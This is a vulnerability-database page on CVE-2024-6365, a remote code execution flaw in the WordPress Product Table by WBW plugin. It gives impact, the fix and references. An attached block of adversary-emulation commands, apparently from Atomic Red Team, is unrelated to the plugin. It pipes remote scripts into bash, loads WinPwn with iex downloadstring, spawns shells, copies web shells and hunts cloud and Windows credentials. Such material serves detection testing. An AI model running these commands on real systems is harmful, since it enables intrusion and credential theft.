CVE-2024-6365
Overview
This vulnerability is a remote code execution flaw caused by improper authorization and lack of input sanitization in the 'saveCustomTitle' function within the languages/customTitle.php file of the Woo Product Table plugin by WBW. The affected component processes appended data without validation, enabling execution of arbitrary code. The root cause lies in missing access controls and unsafe handling of user-supplied input in all plugin versions up to 2.0.1.
Vulnerability Description
The Product Table by WBW plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 2.0.1 via the 'saveCustomTitle' function. This is due to missing authorization and lack of sanitization of appended data in the languages/customTitle.php file. This makes it possible for unauthenticated attackers to execute code on the server.
Impact
An unauthenticated attacker can execute arbitrary code on the affected server by exploiting this vulnerability, potentially leading to full system compromise, data theft, or service disruption. No authentication or user interaction is required, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N. This allows remote attackers to gain control over the WordPress environment hosting the plugin, impacting confidentiality, integrity, and availability of the system.
Solution
Users should update the Woo Product Table plugin by WBW to version 2.0.2 or later, where authorization checks and input sanitization have been implemented to mitigate this vulnerability. Detailed patch information and remediation steps are available in the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/ba84711f-bdbe-46d3-a9a3-cc2b1dcefd1a. No official workaround is documented; upgrading to the fixed version is strongly recommended.
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Full Analysis
The vulnerability within the Product Table by WBW plugin for WordPress arises from a critical flaw in the 'saveCustomTitle' function, which lacks proper authorization checks and data sanitization. This oversight allows unauthenticated users to send crafted requests that can lead to remote code execution on the server. Specifically, the issue is located in the languages/customTitle.php file, where user input is not adequately validated before being processed. As a result, an attacker can manipulate the input to execute arbitrary PHP code, potentially gaining full control over the affected WordPress installation.
Attack vectors for this vulnerability are particularly concerning due to the ease with which an attacker can exploit it. An attacker could use a simple HTTP request to invoke the vulnerable function, sending malicious payloads that would be executed on the server. This could be done through various means, such as automated scripts or manual exploitation techniques. Once the attacker successfully executes code, they could perform a range of malicious activities, including data exfiltration, installation of backdoors, or even complete server takeover. The lack of authentication requirements means that even individuals with no prior access to the system can exploit this vulnerability, significantly increasing the risk of widespread attacks.
The real-world impact of this vulnerability is profound, particularly for businesses relying on WordPress for their online presence. Successful exploitation could lead to significant data breaches, loss of sensitive customer information, and damage to the organization's reputation. Additionally, the financial implications could be severe, encompassing costs related to incident response, potential regulatory fines, and loss of customer trust. For e-commerce platforms or businesses handling sensitive data, the ramifications could extend to legal liabilities and long-term damage to brand equity. Given the high CVSS score of 9.8, this vulnerability represents a critical risk that organizations must address promptly.
To detect and mitigate the risks associated with this vulnerability, organizations should implement several strategies. First, regular security audits and vulnerability assessments should be conducted to identify and remediate such issues in third-party plugins. Employing a web application firewall (WAF) can help filter out malicious requests before they reach the vulnerable function. Additionally, organizations should ensure that all plugins are kept up-to-date, as developers often release patches to address known vulnerabilities. In the case of the Product Table by WBW plugin, upgrading to the latest version that addresses this flaw is essential. Furthermore, implementing strict input validation and sanitization practices in custom code can significantly reduce the risk of similar vulnerabilities in the future.
In conclusion, the vulnerability within the Product Table by WBW plugin poses a severe threat to WordPress installations, enabling remote code execution by unauthenticated attackers. The potential for exploitation is high, with significant implications for businesses in terms of data security and operational integrity. Organizations must prioritize detection and mitigation strategies to safeguard their systems against such vulnerabilities, ensuring that they maintain a robust security posture in an increasingly hostile cyber landscape.
Affected Products
No CPE information available.
Exploits
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Likely Kill Chain
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Attack Vectors ML
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Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
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References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
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https://nvd.nist.gov/vuln/detail/CVE-2024-6365 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/ba84711f-bdbe-46d3-a9a3-cc2b1dcefd1a?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/woo-product-tables/trunk/modules/wootablepress/models/wootablepress.php#L7 |
| plugins.trac.wordpress.org |
GitHub CVE
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https://plugins.trac.wordpress.org/browser/woo-product-tables/trunk/languages/customTitle.php |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3113335/ |